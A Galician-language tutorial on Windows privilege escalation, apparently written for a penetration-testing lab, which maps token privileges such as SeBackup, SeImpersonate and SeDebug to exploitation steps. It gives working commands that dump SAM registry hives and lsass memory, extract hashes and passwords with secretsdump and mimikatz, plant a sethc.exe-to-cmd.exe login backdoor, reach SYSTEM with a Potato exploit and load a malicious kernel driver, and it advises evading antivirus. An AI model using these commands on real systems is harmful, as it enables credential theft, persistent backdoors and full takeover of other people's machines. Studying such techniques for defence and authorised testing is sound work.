Ir ao contido

Privilexios Clave e Métodos de Explotación

Privilexios que permiten escalada:

Privilexio Capacidade Método de escalada
SeBackupPrivilege Ler calquera ficheiro Dump SAM → Pass-the-Hash
SeRestorePrivilege Escribir en calquera localización Modificar ficheiros de sistema
SeImpersonatePrivilege Suplantar identidade Potato exploits → SYSTEM
SeAssignPrimaryToken Asignar token primario Potato exploits → SYSTEM
SeDebugPrivilege Depurar procesos Dump memoria de lsass.exe
SeTakeOwnershipPrivilege Tomar propiedade de ficheiros Modificar ficheiros críticos
SeLoadDriverPrivilege Cargar drivers Cargar driver malicioso

Comandos útiles:

# Ver privilexios do usuario actual
whoami /priv

# Ver todos os privilexios dispoñibles
whoami /all

# Ver grupos do usuario
whoami /groups

SeBackupPrivilege

Este privilexio permite ao usuario ou proceso ler calquera ficheiro do sistema, independentemente dos permisos de ACL (Access Control List), xa que se comporta como un "copiador de seguridade".

  • Capacidade clave: Ler calquera ficheiro.
  • Método de escalada/uso en laboratorio:

    • Dump do Rexistro (SAM, SYSTEM, SECURITY): Podes usar reg save para gardar as hives do rexistro que conteñen información sensible, como as hashes das contrasinais locais (SAM).

      reg save HKLM\SYSTEM c:\temp\SYSTEM.hive
      reg save HKLM\SAM c:\temp\SAM.hive
      reg save HKLM\SECURITY c:\temp\SECURITY.hive
      
      Unha vez que teñas estes ficheiros, podes extraelos do sistema e usar ferramentas como secretsdump.py de Impacket (nunha máquina Linux) para obter as hashes de NTLM.
      impacket-secretsdump -sam SAM.hive -system SYSTEM.hive LOCAL
      

    • Acceso a ficheiros sensibles: Tamén poderías acceder a outros ficheiros que normalmente estarían restrinxidos. Por exemplo, un ficheiro de configuración que contén credenciais.

SeRestorePrivilege

Este privilexio permite ao usuario ou proceso escribir en calquera localización do sistema, incluso en ficheiros protexidos.

  • Capacidade clave: Escribir en calquera localización.
  • Método de escalada/uso en laboratorio:
    • Modificar ficheiros de sistema: Poderías substituír executables do sistema ou scripts de inicio por versións maliciosas. Por exemplo, substituír sethc.exe (as teclas adhesivas) por cmd.exe. Isto permite que, ao premer Shift cinco veces na pantalla de inicio de sesión, se lance un shell de administrador.
      1. Facer unha copia de seguridade do orixinal: copy c:\windows\system32\sethc.exe c:\temp\sethc.bak
      2. Substituír: copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
      3. Reiniciar e premer Shift cinco veces.

SeImpersonatePrivilege e SeAssignPrimaryTokenPrivilege

Estes privilexios son fundamentais para os "Potato Exploits", que permiten a un servizo de baixo privilexio suplantar tokens de seguridade de contas con maior privilexio, xeralmente NT AUTHORITY\SYSTEM.

  • Capacidade clave: Suplantar identidade (SeImpersonatePrivilege), Asignar token primario (SeAssignPrimaryTokenPrivilege).
  • Método de escalada/uso en laboratorio:
    • Potato Exploits (Sigmapotato, JuicyPotato, RottenPotatoNG, etc.): Estas ferramentas aproveitan vulnerabilidades en como Windows manexa as comunicacións de RPC e as capacidades de suplantación.
      • Exemplo con Sigmapotato:
        1. Descarga o binario Sigmapotato.exe (ou calquera Potato exploit) e cargao na máquina obxectivo.
        2. Executa a ferramenta, especificando un comando a executar co token de SYSTEM.
          Sigmapotato.exe -c "C:\Windows\System32\cmd.exe" -a "/c C:\Windows\System32\whoami.exe > c:\temp\whoami_output.txt"
          
          Isto debería crear un ficheiro whoami_output.txt co resultado de whoami, mostrando nt authority\system.
        3. Para un shell interactivo: Sigmapotato.exe -c "C:\Windows\System32\cmd.exe" -a "/k C:\Windows\System32\cmd.exe" (pode requirir xogar con pipes ou payloads de Meterpreter para obter un shell totalmente interactivo).

SeDebugPrivilege

Permite a un proceso depurar outros procesos, incluso aqueles con maiores privilexios.

  • Capacidade clave: Depurar procesos.
  • Método de escalada/uso en laboratorio:
    • Dump de memoria de lsass.exe: lsass.exe almacena as credenciais dos usuarios que iniciaron sesión (en forma de hashes NTLM e, ás veces, texto claro para Kerberos).
      # Usando procdump de Sysinternals (requírese descargalo)
      procdump.exe -ma lsass.exe lsass.dmp
      
      Unha vez que teñas o ficheiro lsass.dmp, podes extraelo do sistema e usar ferramentas como mimikatz (nunha máquina de atacante) para extraer as credenciais:
      mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
      
      Nota: mimikatz é detectado por moitos antivirus, polo que no laboratorio deberías desactivalo ou usar técnicas de ofuscación.

SeTakeOwnershipPrivilege

Este privilexio permite ao usuario tomar posesión de calquera obxecto (ficheiros, carpetas, claves de rexistro, etc.), o que á súa vez lle permite modificar os permisos de ACL para obter acceso total.

  • Capacidade clave: Tomar propiedade de ficheiros/obxectos.
  • Método de escalada/uso en laboratorio:
    • Modificar ficheiros críticos:
      1. Tomar propiedade: takeown /f C:\Windows\System32\drivers\etc\hosts
      2. Modificar ACLs: icacls C:\Windows\System32\drivers\etc\hosts /grant UsuarioDoLaboratorio:F (para dar control total)
      3. Agora podes editar o ficheiro hosts ou calquera outro ficheiro do sistema que escollas para obter control.
    • Modificar rexistro: Tomar propiedade dunha clave de rexistro e logo modificar os seus permisos para ter control total.

SeLoadDriverPrivilege

Permite a un usuario cargar e descargar drivers no núcleo de Windows.

  • Capacidade clave: Cargar drivers.
  • Método de escalada/uso en laboratorio:
    • Cargar driver malicioso: Poderías cargar un driver que se execute en modo kernel e que poida realizar accións como:
      • Desactivar antivirus.
      • Inxectar código en procesos do sistema.
      • Escalar privilexios directamente (moitos exploits de 0-day de Windows son drivers vulnerables).
    • Exemplo (conceptual, máis complexo): Isto normalmente require compilar un driver personalizado e cargalo. Ferramentas como KDU (Kernel Driver Utility) ou PCILeech poden ser usadas para interactuar con drivers a nivel de kernel, pero isto é unha área moito máis avanzada e require un bo coñecemento de programación de drivers e a arquitectura do kernel.
      • Carga dun driver (exemplo xenérico cun driver .sys e un servizo):
        # Crear un servizo para o driver
        sc create MyMaliciousDriver binPath= "C:\path\to\MyMaliciousDriver.sys" type= kernel
        # Iniciar o servizo (cargando o driver)
        sc start MyMaliciousDriver
        
        (Isto presupón que tes un driver .sys funcional e asinado ou que o sistema permite drivers sen asinar).